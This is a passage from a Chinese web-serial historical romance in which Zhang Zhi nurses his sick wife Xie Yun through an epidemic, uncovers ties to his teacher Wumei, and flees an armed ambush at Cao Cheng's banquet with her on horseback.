“我早年体弱时,无眉大师在府中住了三年。”他寥寥一句概括。
只可惜少年沉疴难愈,才致他李代桃僵。
杨励掂了掂衣袖,笑:“橘井泉香,天上的仙人不过如此。”他顺着张止的目光盯着碗中药:“张止,你说天上的仙人生病,要请谁来治?若是像你当年那般严重,谁能治好?”
他抬头望天,谁能治好?少爷那般精细的养着,最后也是珠玉尽碎。
杨励字字扎心,很是嘲讽:“我效忠的不是好主子,你未必比我好到哪去啊。”
张止指腹贴着碗壁,估摸着药的温度差不多了,才道:“内子患疾,不便与大人多说了。”
谢蕴比昨日强些,起码能喂些药进去,不在呕吐。
只是,脸上的红疹…
张止抚下她的手,柔声道:“蓁蓁,不许挠。”
谢蕴不知是真的能听见还是怎么,每次他说完,总能乖上片刻。
大夫此前悄悄的给了他一瓶药,虽是同行相轻,但他确实敬佩如此有胆色的女子,小声:“色衰爱驰,还是涂上些好,发痒时不挠,便不会留下疤痕,再者此药能缓和住红疹发作。”
张止颔首,接过药纠正:“多谢,但我妻不需在乎容貌,只在乎性命。”
大夫不是没听过张止的名声,听了这话倒显得传闻不实,冷面阎王,情深似海?哪里像是这种人的戏本子?
一旁杨励尚未娶亲,却颇为理解张止的想法:“口渴时,哪里还在乎装水的容器?只要是水便好。”
喜欢一个人从不会因为外貌、身份、学识而有所改变。
他们二人难得惺惺相惜,所见一致。
“是啊,我如今瞧着别人,脸上像是都少了红疹,放眼望去,只有内子是正常人。”
张止低眸,目光垂在谢蕴脸上,是了,只有谢蕴才是正常人。
“蓁蓁,”张止哄她:“别闹。”
那药张止也试过,初抹时极凉,只过须臾,便逐渐发热,大夫说这是以热攻毒的法子,把毒逼出来,自然就好些。
病中谢蕴哪管这个道理,只要热便透着痒,她总是忍不住。往往张止还未涂完左脸,那只玉手就要上去挠。
“别动。”张止厉声,这次并没有吓住谢蕴,只顿了顿,右手又开始,指尖碰过的地方从红疹处渗出脓水。
他越过她的身体,按住女子纤细的手腕,另一边也如法炮制。
张止半身悬在谢蕴身上,她拧紧眉头,似醒非醒,嗫嚅道:“疼…”
他闻声,松些劲儿,却不敢动了,少顷,他仰头谓叹:“你要我怎么才好?”
谢蕴梦中迟钝学他:“怎么…才好…”
张止盯着流脓的红疹,不处理不行,只是他稍微松劲…
他侧身,挑起帐钩上的绳子,半边床蔓随之而下,张止手掌覆谢蕴两只手腕,快速打了一个结,迅速翻过女子胳膊,双手举过头顶,宽大的袖摆滑落,露出一节雪白的藕臂,帐钩另端被张止挂在床头,不知道谁的巧思,在帐钩头处挂了一个铃铛。
一动,清脆的响。
张止满意的很,重新取药,替她涂抹。
这次总该能涂完。
药劲上来,谢蕴拽着铃铛叮叮当当响,挣脱不了束缚,她哑声想说话,却没出声音。
张止笑,为自己的办法骄傲,故意逗她:“怎么了?”
她在梦中,思维不畅,脑袋像团浆糊,凭借本能说出心中所感:“痒…”
“嗯。”张止停顿:“吹吹就好了。”
他哄她像哄小孩子。
吹气并没有缓解,反倒激起涟漪,她眸子里泛起水汽,如雾中花,嗫嚅:“痒…”
渡人易,渡己难。
“痒…”
张止闭眸不去想,抬起身子,微微喘息。
两种喘息混合在一处,从耳边而过,叫他欲罢不能。
那夜,他就知晓这种忍耐的痛苦。
“痒…”又是一声:“求你…”
她示意双手被绑住,拉着铃铛清脆响了几声。
张止睁眼,谢蕴眼里像是化开了水,嘴中张张合合重复着:“痒…”
张止脑中有根弦,轻轻的断了,他抬手盖住女子的双眸,俯身,含住她的唇。
带着欲望的纠缠,在她的口中,他尝到那日的果子,他不喜酸食,看见便觉得牙床痒的难耐。
如今…如今…尚可入口。
谢蕴被盖住的双眸,看不见世界,凭着感觉,蜷缩起脚趾,无意识揪住铃铛晃破大天,不知发生什么,含糊不清:“在…在…”
她未说出一句完整的话。
张止喉间压抑着低喘,气息不稳,贴住时还牵着几丝纠缠,哑声回答她的问题,替她说出那句话:“在止痒。别动。”
他本不该在继续,只是欲望这东西,如洪水猛兽,不死不休,只需要一点火星,就能燃烧。
火星子么,当然是那张红肿唇中,一句断断续续的话:“可是…还是…还是好痒…”
他再次沉迷其中,这段绵长的吻,在谢蕴轻声咳嗽与铃铛声停下时结束。
张止单手撑起身子,潮红从女子后颈一路泛止脸庞,连带着那个小小的耳垂,也是红的不得劲。
他指尖微动,从耳垂下取下两枚耳坠,热气喷在她的耳边,不管此时谢蕴能不能听见。
“蓁蓁,回头我送你一
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对更好的。”食指贴在耳垂的背后,往前送了送,他轻声道:“我替你摘下了,都红了。”
***
无眉大师面貌让杨励有些意外,他以为大师号无眉只是彰显自己出尘脱俗而已,没有想到他真的是无眉。
张止站在门口,眉目低垂,行弟子礼:“老师。”
无眉哈哈一笑,捏捏他的肩膀,赞叹:“好小子,又结实了不少。”
他侧身让路,十分恭敬有礼:“内子病重,不得已求助老师。”
无眉在张家呆了三年,差点砸了自己的招牌,哪知最后一个月,缠绵病榻的人居然好了,招牌不仅保住了,名声就此显赫,收了张止做徒弟,全了一段佳话。
张止垂着手立在床边,无眉搭脉时有怪癖,旁人不能出声,不论什么话,只等搭完脉再说。
见他收起脉枕,张止关切询问:“老师,内子如何?”
无眉拂袖,不苟言笑:“你如今年岁几何?”
“啊?”他被这莫名其妙的问题打的茫然无措,只道:“老师,我今年二十有六了。”
“那你怎么做事还是像个毛头小子?”无眉不忍细看,还好自己如今年近古稀,还算见过些世面,否则单是那红肿的唇就叫自己不敢诊治了:“你看你,怎么人家姑娘病的这么重,你还这样欺负人家?”
他承认自己莽撞,却小声辩驳:“这是内子…”
“我瞧不见得吧?”无眉手上很有些功夫,常言没有什么能躲得过脉象,成亲这么久还是处子之身,怎么能算内子。
他不在废话,与张止一同走出去,看见杨励侯在门口:“她现在的方子是自己开的?”
“是。”
无眉卷起道袍,枯瘦的手腕依旧有力:“拿方子过来,我添几味药。”
写完后,扔下笔,嘱咐几句,抬头看见杨励,笑:“杨大人,已经在此恭候多时,是有什么要问吗?”
突然被点名的杨励,愣了片刻后露出一丝笑容:“谢大夫久病不愈,我等自然心急。”
无眉从入世到出世,一身白衣,自诩能看破人心。
“你这话不实。”
张止闻言,心道杨励是为太后筹谋,他们终是不同阵营。
杨励没了笑容,掩藏这么久的心思被人轻而易举的发现,真是难受啊。
无眉拍拍他的肩膀:“杨大人放心,我嘛,虽然偏心,但也知道世间万物,不可强求,诺,”他努努嘴,指向天:“天要不下雨,你还能强求?天若下雨,你又能怎么办?此话明白了?”
“先生教导,弟子受之不尽。”
无眉侧身,没有受这礼,扬扬下巴,指着那个穿梭在药罐中的人:“看见没,那个傻小子才是我徒弟,我和你,无名无份,算不上师徒,不用行弟子礼。”
杨励也看向张止,冷声:“只怕有些事,我懂,他不懂。”
“他不懂自有不懂的好处,你懂自由懂的不妙。”无眉没有眉毛,看起来很滑稽,很肯定的说:“杨大人,你懂道。”
“谈不上,只读过《道德经》而已。”杨励没有表情:“大道至简。”
33. 权谋乍现 任务过半
谢蕴不在昏昏沉沉说胡话时是无眉大师在这里住的第三天。
张止并着两个椅子,架着腿,浅眯着眼。
谢蕴张了张嘴,喉咙干涩,发出的声音都是苦的:“你…”
他这几日没睡多久,除去日日汇报河道进度,主持赈灾,所有的时间都在这屋中了。
心提着,一有动静就醒了。
看着床上人醒了,张止倏忽起身,几步迈了过去。
“你不该来的。”谢蕴轻咳几声,缓声说话。
“你我生死之交,怎可不来?”这话不是他说,是谢蕴说的,现在只不过是送还给她。
谢蕴在愣神中反应过来这句话是什么意思,张止素有洁癖,少有这样脏兮兮的时刻:“你不怪我吗?我骗了你。”
生死之交,当信字为先。
两人之间隔了点距离,张止屈身蹲下,靠在床塌上:“不算骗吧,天命有数,非人力可以一力更改。”
他存过希望,但理智早就告诉他,人死不可复生。
谢蕴仰面朝天,呆呆着望着帐顶,像是如梦初醒,推着张止肩膀,催促:“你快走…这病厉害…”
张止没动弹,她的力气都不足以让他身形晃动:“你病了几日,我就呆了几日,这个时候在想让我走,怕晚了吧?”他想了想,垂首又道:“要是染病,早就染病了。”
谢蕴心道,你和我又不同,我在怎么样还有复活卷,你死了,什么都没了,连咱们这个游戏都getover了。
“你不明白,”谢蕴叹道:“这会要了你的命。”
张止换了姿势,背对着她,敛起双眸:“蓁蓁,你才是要了我的命啊。”
谢蕴听见这句话,又想起系统设定,纠正他:“不对,是你在要我的命。
张止浑身一震,眸中闪过一丝光,又听见那女子说:“所以,千万不要受伤,千万珍惜生命。”
谢蕴不知道血条还剩多少,把这条命都给张止,她不敢想,她还没有大方到这种程度。
“我很小气的。这条命…”
“我来为姑娘把脉了,”无眉推开门,大大方方走来,一下笑了:“我猜到你今天会醒,果不其然!”
张止不言,起身让开位置,无眉伸指,破了一次规矩:“谢大夫,我看过你的药方,难得你这么小的年纪对药理就能有如此深的掌握。”
谢蕴猜到这人是谁,虚弱笑了:“比起前辈,我自觉不足。”
“估摸着明天你就能下地了。疫病防治,姑娘还是主力。”
张止眉尖一跳,道:“还需要在养养吧?”
无眉的规矩是为谢蕴而破,不为张止,此时不接他的话,只道:“你几次受伤,身体亏空,往后的日子要多加珍重。”
谢蕴古怪,倚着枕头,为自己探脉。
“你也是大夫,可知我所言不虚。”
她垂眸,明白这不是受伤身体亏空,是系统的共生命脉。
她的命在救治张止时失去一部分,自然不复从前,不由长叹一声:“命数天定啊。”
她的天,就是系统。
十年前,少爷也是这般和他说命数如此。
张止心中一动,陡然害怕,顾不上什么规矩不规矩,忙问:“老师,现在要怎么将养?”
无眉没有眉毛,挑眉看起来像是睁大眼睛,指了指谢蕴,有意复述那日他的话:“她是大夫,又是你的内子,你问她呗!”
***
次日一早,是难得的一个大晴天。
谢蕴病愈,张止稍显轻松,能正常与无眉吃口早饭。
无眉坐在主位,左右两侧分别坐着张止与杨励。
“之前疫病的药方我都看过了,我与谢大夫意见差不多,几味药上存在出入,阿止,待她睡醒后,你将药方给她,请她斟酌用药。”无眉递过去几张药方,嘴里吸溜的白粥:“其余的,我一个老头子就帮不上什么忙了。”
张止为无眉添了一碗白粥,恭敬的捧过去:“是学生将老师牵扯进这场风波。对不住,老师。”
院外,一行轻骑恭候已久,铠甲上露水未干,昨夜定是疾行而来。
无眉笑:“你知道什么是缘分嘛?”
“学生不知。”
无眉转头,问杨励:“你读过《道德经》,你怎么看缘分?”
杨励缓缓摇头。
无眉抖了抖道袍起身,带着他们二人走到檐下,抬头望天:“缘分二字难以琢磨,要我说啊,就是偶然之中的必然。”
“阿止,你我之间是必然,我与他们也是必然,世间万物,缘分天定,无一例外,所以,不存在牵扯不牵扯,是我的缘罢了。”无眉缓步下阶,道袍被吹起,他头也不回:“咱们京城在见吧!”
张止于道上天分寡然,道法理应自然,他不解。
年幼在边境时,他问无眉:“如果我想要什么,得不到,是我无缘吗?”
“可以这么理解。”无眉那时已经入道十年:“不强求,便是顿悟的开始。正所谓反者道之动。”
彼时,他正为少爷的病痛难受不已,咬牙道:“我偏要强求!”
“小子,万事万物皆是命数,你强的过人,还能强的过命吗?”
往事随风散,一晃已经过去这么多年了。
杨励望着无眉的背影,道:“张大人,恐怕哪一日我就要入道了。”
张止目送那列轻骑走远,侧身:“入道先出世,只怕红尘梦好,杨大人不舍得吧。”
***
“你与无眉大师居然是师生。”谢蕴靠在枕上,裹着大氅,手里捏着大师走之前交代的方子,她本今日要去查看病情,只是张止昨日听了无眉的话,心有余悸,压着她在躺一天,一早央着大师替病人诊脉。
张止点头,递出手中药:“少爷身死,在外看来,张止全然大好,为表感恩,让我拜师。”
谢蕴捻着药方,在这话中反应过来:“不对。”
“哪里不对?”张止不懂药理:“老师开的药方,想来不会有太大的问题。”
谢蕴垂手,药方落在被褥上,她定定的看着张止,平静且笃定:“你骗了我。”
“这世上还有第三个人知道你是替身。”
从缠绵病榻到身强力壮,突如其来的反常,无论什么理由,无法骗过大夫。
张止抬眸与她对视,屋内有些安静,他无端的笑了,把剥好的橘子放在一旁,轻轻拍手,赞道:“蓁蓁,好聪明啊。”
没有丝毫谎言被揭开的不悦,他
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反倒由衷的赞赏。
聪明的人,人人都爱。
“我自知无法骗过师傅,用了些手段。”
“他并没有治好你。”谢蕴没在看他,自顾自拿起放在床头的药,一饮而尽:“可天下人偏偏相信神话,宁愿相信先天不足的人能远胜于旁人的康健,也不愿意推敲其中关窍。”
今日之祸,源起当初。
“别这样说。”张止像犬,在信任的人面前放心大胆的露出肚皮:“我演戏也不容易。”
语毕,他递上一方帕子,谢蕴也不矫情,接过擦手,意有所指:“昭明,你戏很好。”
“现在,就演的很好。需要旁人搭戏吗?我可入的阁下青眼?”
人人都爱聪明的人。
但谢蕴为这样的人头疼,她已经站在上帝的视角,虽然上帝偶尔打盹,并不是事事知晓。
可是,在共命的系统设定下,她急切的需要两人共同新的目标。
她拿命养住的人,总不能养蛊吧?
张止一时愣了,嘴比脑子反应快:“演戏么,一人有一人的唱法,两人唱什么呢?《梁祝》?不太好吧?吐血而亡、恨嫁,太凄惨了些。”
“《天仙配》。”谢蕴点题。
张止不冷不热,他为眼前的人着迷,不为风月,单单为了是女子的聪慧。
“好戏码,夫人,可愿一试?”他背身倒水,语气不慌不忙。
谢蕴不想陪着他继续笑了,单手靠着枕头,露出的手腕上还有丝丝红印。
“昭明,也许你兄长的死没有这么简单呢?”
…
景和在外敲门:“主子,杨大人与曹大人在堂内等您,说是有要事相商。”
张止没应,榻上女子笑的又乖又坏:“你先去吧,咱们晚些在谈。”
打蛇打七寸,张止没有办法挪动脚步,谢蕴也知道,他不可能在这个问题上逃避,所以才会笑的又乖又坏。
“告诉两位大人,我有要事,现下不方便过去,请他们先行商量,自行决议。”张止脚尖勾起一张凳子,稳稳的坐下说:“夫人,请说。”
谢蕴重新拿起药方:“那时你才十六岁,所用手段最多就是威逼,利诱都谈不上,无眉大师已经入道十年,会怕你一个毛头小子的威胁?”她的目光落在那几张纸上,笔法刚劲有力:“大师用药,看起来谨慎大胆,但深究药理,依旧遵循自然规律,生死由命的东西,我想他不会在这上面替你隐瞒,入道之人还在意名声吗?”
“何况名满天下,未必是件好事。今日之事,可见一般。”
屋子里又静了下来,张止没了笑容,他往窗外望了望,不吝啬夸奖道:“蓁蓁,好聪明啊。”
“我与你查出本案真相。”谢蕴听到系统在脑海里滴滴的声音:“恭喜宿主,任务进度达百分之九十。”
在谎言与真心相互纠缠之下,谢蕴找到了张止最真实的梦想:少爷遇害的真相。
他拜无眉为师,不过是一场幌子。
“你在乎的东西有很多,但张止的死亡的真相一定是你最想知道的。”
“昭明,我骗了你,你也骗了我。你没有威胁大师。”谢蕴声音不算大,放在寂静的屋子,却隐隐带上勾人心弦:“不如我们坦诚相见?”
34. 鸿门宴中 雨夜逃命
张止沉默撑着膝头,眼中沉静,半晌,他笑了起来:“是的,我没有威胁他。当日我尚且年幼,有什么手段呢?老师一早便知道我不是少爷。蓁蓁,我都有些为你着迷了。”
谢蕴忽略了最后一句话,问道:“他怎么和你说的?”
“只说少爷临终前去找过他,为我全了这个谎。我当时不疑有他,只是后来才发现当年之事,多有离奇。全府上下,好像都默认奇迹的发生,没有觉得有什么不对,就是最大的不对。”
张止陷入了短暂的沉默,继而冷声问:“你没有什么要和我说的?我身上的谜题就这么些,在你面前说得上一张白纸,看光了我,总不能安然无恙抽身离去吧?”
谢蕴抬眸,笑:“你不诚恳。”
“何出此言?”张止不明。
他现在可谓全天下最诚恳的人。
他们没有在继续这话题。
杨励在外亲自来催促了。
“什么重要的事?”张止掂掂袖子走出门:“还值得你亲自来催?”
***
又过十日,曹承设宴,一是为了庆祝疫病稳定,河道完工。二是张止与杨励不日将返京。
“你杀了那群土匪,断了他的财路。”杨励低笑,没搞懂里头的套路:“难得这几天他对你毕恭毕敬,临走还专门设宴。”
“所以说是鸿门宴啊。”张止转身,于台阶上伸手,扶住谢蕴,引她上行:“夫人怎么看?”
谢蕴提起裙摆,步步踩到阶上:“不去怎么知不知道是不是鸿门宴?”停顿一下转头问杨励:“宝珠没来?”
杨励嗯了一声解释:“她明日要出发去张家,今日绣品还未完成。”
好牵强的理由。
谢蕴回首看向张止,后者充耳不闻,放开她的手,替她又拢了拢大氅,侧身外看,笑:“今日真是好安静啊。”
曹承从里间快步迎出来,弯腰曲背的讨好:“两位大人可算是来了!快往里面请!好酒好菜都已经备好,就等两位大人了。”
张止敛笑,面上没有什么表情,在曹承的目光中当先一步,杨励略微颔首,紧随其后。
谢蕴没有官职,来此只因大夫的身份,不便张扬镇北侯夫人的名头,落于最后。
三人落座,褪去大氅,丫鬟们鱼贯而入,依次码上菜,做完这一切,又依次而出。
张止目光下垂,落在面前的茶杯上,沉了沉。
无风,泛起涟漪。
“谢大夫,疫病的事情如何?”张止喝了几口热茶后,为谢蕴倒了一杯酒:“聊已薄酒,敬请曹大人,全了今日设宴之情,还有不少病人在等你,不要误了正事。”
“我酒量不好。”谢蕴端坐拒绝,她不是傻子,气氛中透着诡异:“疫病大事早已安排妥当,今夜在这等候夫君就是。”
若说曹承不知道他们的关系,那就假话了:“宴还未开,张大人也太着急赶人了。谢大夫是此次疫病的有功之臣,怎能一杯薄酒就打发了?”
张止搁了酒壶,隔着桌子,冷眼盯着曹承,不发一言。
巨大的压力仿佛悬在曹承脖子上的一把利刃,他忍了片刻,终是扛不住,低眉询问:“张大人这么看我,倒让我有些不寒而栗了,不知道卑职此宴哪里安排的不妥?”
“你这么看我,也让我有些心神不宁。”张止在等待,等待猎物上钩,在狠狠咬断他脖子。
“哪里的话?”曹承为杨励斟酒:“卑职对张大人只有敬佩之情。”
酒满而溢,洒了杨励一身。
“杨大人,请移步去后殿更衣。”曹承侧身让出一步。
猎物上钩了。
张止一把按住杨励,随后扔过去一方帕子:“杨大人走了,我更不安心,擦擦吧,在此陪我夫妻多坐一会,如何?”
杨励抬眸,张止正百无聊赖的转着眼前的杯子,挑眉看向对面,催促:“曹大人,此时还不落座,更待何时?”
曹承不复往日点头哈腰,挺直腰杆,面露狠意,肃声质问:“张止,你可知罪?”
张止向后靠到椅背上,架起一支腿,笑的懒散:“你这话我听不明白,我有什么罪?退一万步来说,我有罪与否,知罪与否,也不是你一个小小县令可以过问的。”
曹承早料他会如此辩驳,不慌不忙从袖中掏出一道明黄色卷轴,历声大喝:“有太后懿旨在此,难不成我还不能过问?”
张止右手顺着桌布而下,在无人看见的地方牵起谢蕴的手,暧昧似的捏了捏:“哦?那不知我张止何罪之有?请明白告知。”
他还真是,越是紧张越是刺激。
曹承将卷轴举过头顶,手指张止,狞笑:“残害亲王!妄图断我周氏王朝血脉!你还在此大言不惭,还不认罪!”
张止左手搭在膝头,把玩一只筷子,指尖用力,筷子带着劲风擦着曹承耳边而过,定在后头的画上,发出“铮”响!
“你放屁!周氏王朝在于当今圣上,在于各位臣工,与太后有何关系?与你一个勾结土匪,弃百姓于不顾的人有何关系?”
“好好好!”曹承大笑,将懿旨搁在一旁,他终于可以抱一箭之仇,怒砸酒杯,门窗瞬时打开,外面立着一层层身着铠甲的士兵。
“太后有旨!”曹承高声,向后退一步,藏在士兵中:“乱臣张止,残害亲王,意图谋反,擒捉判贼,生死不论!”
“生死不论?”张止抽腿起身,森然一笑,掀开官服,露出内里一身窄袖劲装,拇指抵住腰间软剑:“你们也配?”
曹承一愣,不想张止今日是有备而来,他的生死成败也在今日,若是抱不紧太后这棵大树,单单勾结土匪,皇上定然不会放过他。
“杀了他!杀了他赏金一万!”曹承喊的嗓子都要破了:“取其四肢,赏金五千!”
张止一手抽出软剑,寒光逼人,另一手牵着谢蕴,目视四周:“要拿赏钱的,尽管来!”
他长腿撬起圆桌边缘,一把将圆桌掀倒,酒水菜肴砸了一地。
“拿不了的,把命留下!”
屋子里乱作一团,士兵一哄而上。
张止拉着谢蕴,跑到门外,打响一声口哨,白马破夜而来。
没有人知道这匹马一
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开始藏到哪,没有人知道这匹马又是怎么在如此喧闹声中分辨出张止的声音。
曹承眼前一黑:“你!”
“曹承,没点准备,我怎么敢来赴宴!”张止托住谢蕴大腿,扶起上马。
谢蕴拽住缰绳,急调马头,俯身伸手。
张止脚踩马鞍,握住谢蕴的手,从背后环抱她,顺势接过缰绳,夹紧马肚,冲进夜色中。
曹承转身,抢过一匹马,今夜是他最后的机会!身后士兵见曹承一马当先,纷纷跨马而上。
张止身形高大,拢着谢蕴,把人贴在自己跟前,下颌搁在她的耳边,有些无奈说:“让你走你不走,现在可不好走了。”
他一个人浪里滚,泥里爬,带上谢蕴这么个女子就狠不下心她在泥里打滚了。
近日总下雨,谢蕴望天,后背抵在张止胸口,坦言:“你我共用一条命,我怎么能走?”
张止圈着谢蕴,手扶着她的小腹,从背后压着她往前伏,呼吸渐重。
好暧昧。
“别动!”
谢蕴仰颈,在夜雨看见一支利箭破风而来。
“不论用什么方法,必须把他逮回来!”
雨夜、骏马。
曹承在后穷追不舍,漫天的利箭如雨点纷纷砸下。
“操!”这是谢蕴第一次听见他说脏话,隐隐约约透着兴奋。
张止在胸前摸到谢蕴的手,将缰绳塞到她手里,雨水从手中而过,滑腻不堪:“马是你的了,蓁蓁。”
张止放手侧身,软剑在黑夜里闪着寒光,砍着羽箭纷纷落下。
谢蕴于马术上不算精通,双手拽着缰绳,喘者粗气回身:“去哪儿啊!”
他们两人共骑一马,目标太大,如同移动的靶子,没有目的地的狂奔迟早被围堵!
雨水从含情眼处流出,滑至脖颈,他不应该在这时出现欲望。
天不遂人愿啊!
“操。”这句尽是无奈与暧昧。
“往前走!”
与他同声而出的是曹承的命令:“换强弩!今天不是他死,就是你们死!”
他轻叹:“蓁蓁,你太…”
诱人。
他实在说不出口,在这危机关头,说出这些,太不像话。
今夜注定难熬!
谢蕴冷静下来,分析:“不行!马匹目标太大!你要去哪?”
张止反手握住剑柄,抬臂挥剑又断几支利箭,指着前方模糊不清的山脉。
“前方有树林,马进不去,我们从这下。”
张止贴近,长臂环住谢蕴的腰,笑了:“夫人。”
“楚王好细腰?”谢蕴懂了他这声笑。
“秋千细腰女,摇曳逐风斜。我哪里舍得让你饿死?”张止揽的更紧,紧贴着她的后背,似能感觉到喉结的移动:“下马了,蓁蓁!”
“快!他们要下马!”曹承抹把脸,看清他们的意图,亲自拿过来弩箭。
他在当县令后,保持着从前的爱好。
打猎!
最好的猎物就在眼前,怎么叫人不心痒?